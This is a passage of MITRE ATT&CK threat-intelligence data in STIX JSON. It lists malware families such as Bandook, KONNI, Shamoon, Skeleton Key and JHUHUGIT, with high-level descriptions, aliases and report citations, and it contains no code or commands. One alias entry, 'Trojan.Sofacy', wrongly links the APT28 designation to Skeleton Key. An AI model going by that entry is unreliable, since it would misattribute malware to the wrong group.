"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0234", "external_id": "S0234"}, {"url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf", "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", "source_name": "EFF Manul Aug 2016"}, {"url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", "source_name": "Lookout Dark Caracal Jan 2018"}, {"source_name": "CheckPoint Bandook Nov 2020", "url": "https://research.checkpoint.com/2020/bandook-signed-delivered/", "description": "Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}], "modified": "2021-10-11T19:42:14.066Z", "name": "Bandook", "description": "[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as \"Operation Manul\".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020)", "x_mitre_version": "2.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:26:37.214Z", "name": "PipeMon", "description": "[PipeMon](https://attack.mitre.org/software/S0501) is a multi-stage modular backdoor used by [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: ESET PipeMon May 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_contributors": ["Mathieu Tartare, ESET", "Martin Smol\u00e1r, ESET"], "x_mitre_aliases": ["PipeMon"], "type": "malware", "id": "malware--8393dac0-0583-456a-9372-fd81691bca20", "created": "2020-08-24T13:15:51.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0501", "external_id": "S0501"}, {"source_name": "ESET PipeMon May 2020", "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["SYNful Knock"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053", "type": "malware", "created": "2020-10-19T16:38:11.279Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0519", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0519"}, {"source_name": "Mandiant - Synful Knock", "url": "https://www.mandiant.com/resources/synful-knock-acis", "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."}, {"source_name": "Cisco Synful Knock Evolution", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}], "modified": "2021-12-14T23:14:26.027Z", "name": "SYNful Knock", "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T22:32:05.321Z", "name": "TINYTYPHON", "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor  that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)", "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["TINYTYPHON"], "type": "malware", "id": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", "created": "2017-05-31T21:33:15.467Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0131", "external_id": "S0131"}, {"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T01:44:46.026Z", "name": "KONNI", "description": "[KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.1", "x_mitre_contributors": ["Doron Karmi, @DoronKarmi"], "x_mitre_aliases": ["KONNI"], "type": "malware", "id": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "created": "2019-01-31T00:36:39.771Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0356", "external_id": "S0356"}, {"source_name": "KONNI", "description": "(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021)"}, {"source_name": "Unit 42 Nokki Oct 2018", "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/"}, {"source_name": "Unit 42 NOKKI Sept 2018", "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/"}, {"source_name": "Medium KONNI Jan 2020", "description": "Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020.", "url": "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b"}, {"source_name": "Talos Konni May 2017", "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. 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Retrieved January 5, 2022.", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["T9000"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", "type": "malware", "created": "2017-05-31T21:33:01.951Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0098", "external_id": "S0098"}, {"source_name": "FireEye admin@338 March 2014", "description": "Moran, N. and Lanstein, A.. (2014, March 25). Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370. Retrieved April 15, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html"}, {"source_name": "Palo Alto T9000 Feb 2016", "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}], "modified": "2020-03-31T12:40:49.213Z", "name": "T9000", "description": "[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T20:36:12.150Z", "name": "Winnti for Linux", "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](https://attack.mitre.org/groups/G0044). The Windows variant is tracked separately under [Winnti for Windows](https://attack.mitre.org/software/S0141).(Citation: Chronicle Winnti for Linux May 2019)", "x_mitre_platforms": ["Linux"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["Winnti for Linux"], "type": "malware", "id": "malware--8787e86d-8475-4f13-acea-d33eb83b6105", "created": "2020-04-29T15:06:59.171Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0430", "external_id": "S0430"}, {"source_name": "Chronicle Winnti for Linux May 2019", "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020.", "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-05T18:28:57.216Z", "name": "RAPIDPULSE", "description": "[RAPIDPULSE](https://attack.mitre.org/software/S1113) is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by [APT5](https://attack.mitre.org/groups/G1023) since at least 2021.(Citation: Mandiant Pulse Secure Update May 2021)", "x_mitre_platforms": ["Network", "Linux"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["RAPIDPULSE"], "type": "malware", "id": "malware--880f7b3e-ad27-4158-8b03-d44c9357950b", "created": "2024-02-13T17:50:25.350Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1113", "external_id": "S1113"}, {"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-06T19:00:45.557Z", "name": "gh0st RAT", "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). 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(2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"}, {"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}, {"source_name": "Nccgroup Gh0st April 2018", "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/"}, {"source_name": "Arbor Musical Chairs Feb 2018", "description": "Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. 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Analysis has linked [Shamoon](https://attack.mitre.org/software/S0140) with [Kwampirs](https://attack.mitre.org/software/S0236) based on multiple shared artifacts and coding patterns.(Citation: Cylera Kwampirs 2022) The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.2", "x_mitre_aliases": ["Shamoon", "Disttrack"], "type": "malware", "id": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "created": "2017-05-31T21:33:20.223Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0140", "external_id": "S0140"}, {"source_name": "Disttrack", "description": "(Citation: Palo Alto Shamoon Nov 2016)"}, {"source_name": "Unit 42 Shamoon3 2018", "description": "Falcone, R. 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Retrieved February 8, 2024.", "url": "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf"}, {"source_name": "Symantec Shamoon 2012", "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-06T19:02:00.781Z", "name": "Skeleton Key", "description": "[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Skeleton Key"], "type": "malware", "id": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49", "created": "2017-05-31T21:32:13.407Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0007", "external_id": "S0007"}, {"source_name": "Dell Skeleton", "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["DnsSystem"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900", "created": "2022-06-24T14:02:05.144Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "S1021", "url": "https://attack.mitre.org/software/S1021"}, {"source_name": "Zscaler Lyceum DnsSystem June 2022", "url": "https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor", "description": "Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DnsSystem](https://attack.mitre.org/software/S1021) is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2022.(Citation: Zscaler Lyceum DnsSystem June 2022)", "modified": "2022-09-01T15:52:24.575Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "DnsSystem", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["MoleNet"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--8a59f456-79a0-4151-9f56-9b1a67332af2", "type": "malware", "created": "2020-12-28T22:09:15.461Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0553", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0553"}, {"source_name": "MoleNet", "description": "(Citation: Cybereason Molerats Dec 2020)"}, {"source_name": "Cybereason Molerats Dec 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}], "modified": "2021-04-27T02:20:58.446Z", "name": "MoleNet", "description": "[MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["CORALDECK"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", "type": "malware", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0212", "external_id": "S0212"}, {"source_name": "CORALDECK", "description": "(Citation: FireEye APT37 Feb 2018)"}, {"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}], "modified": "2020-03-30T15:13:24.829Z", "name": "CORALDECK", "description": "[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T01:49:50.568Z", "name": "JHUHUGIT", "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.2", "x_mitre_aliases": ["JHUHUGIT", "Trojan.Sofacy", "Seduploader", "JKEYSKW", "Sednit", "GAMEFISH", "SofacyCarberp"], "type": "malware", "id": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", "created": "2017-05-31T21:32:34.199Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0044", "external_id": "S0044"}, {"source_name": "JHUHUGIT", "description": "(Citation: FireEye APT28 January 2017)"}, {"source_name": "JKEYSKW", "description": "(Citation: FireEye APT28 January 2017)"}, {"source_name": "GAMEFISH", "description": "(Citation: FireEye APT28 January 2017)"}, {"source_name": "Seduploader", "description": "(Citation: FireEye APT28 January 2017)(Citation: Talos Seduploader Oct 2017)"}, {"source_name": "SofacyCarberp", "description": "(Citation: Unit 42 Sofacy Feb 2018)"}, {"source_name": "ESET Sednit Part 1", "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"}, {"source_name": "F-Secure Sofacy 2015", "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/"}, {"source_name": "FireEye APT28 January 2017", "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"}, {"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}, {"source_name": "Unit 42 Sofacy Feb 2018", "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"}, {"source_name": "Talos Seduploader Oct 2017", "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"}, {"source_name": "Symantec APT28 Oct 2018", "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government"}, {"source_name": "Sednit", "description": "This designation has been used in reporting both to refer to the threat group ([APT28](https://attack.mitre.org/groups/G0007)) and its associated malware.(Citation: FireEye APT28 January 2017)"}, {"source_name": "Trojan.Sofacy", "description": "This designation has been used in reporting both to refer to the threat group ([Skeleton Key](https://attack.mitre.org/software/S0007)) and its associated malware.(Citation: Symantec APT28 Oct 2018)"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["SPACESHIP"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--8b880b41-5139-4807-baa9-309690218719", "type": "malware", "created": "2017-05-31T21:32:28.257Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0035", "external_id": "S0035"}, {"url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "source_name": "FireEye APT30"}], "modified": "2020-03-30T03:05:20.517Z", "name": "SPACESHIP", "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:49:24.851Z", "name": "BLUELIGHT", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["BLUELIGHT"], "type": "malware", "id": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "created": "2021-10-01T20:26:49.502Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0657", "external_id": "S0657"}, {"source_name": "BLUELIGHT", "description": "(Citation: Volexity InkySquid BLUELIGHT August 2021)"}, {"source_name": "Volexity InkySquid BLUELIGHT August 2021", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T01:45:40.875Z", "name": "KGH_SPY", "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. 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(2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.659Z", "name": "down_new", "description": " [down_new](https://attack.mitre.org/software/S0472) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Ixeshe"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", "type": "malware", "created": "2017-05-31T21:32:16.360Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0015", "external_id": "S0015"}, {"url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html", "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly &#91;Blog&#93;. Retrieved November 12, 2014.", "source_name": "Moran 2013"}], "modified": "2020-03-20T22:45:06.494Z", "name": "Ixeshe", "description": "[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)", "x_mitre_version": "1.2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:43:46.245Z", "name": 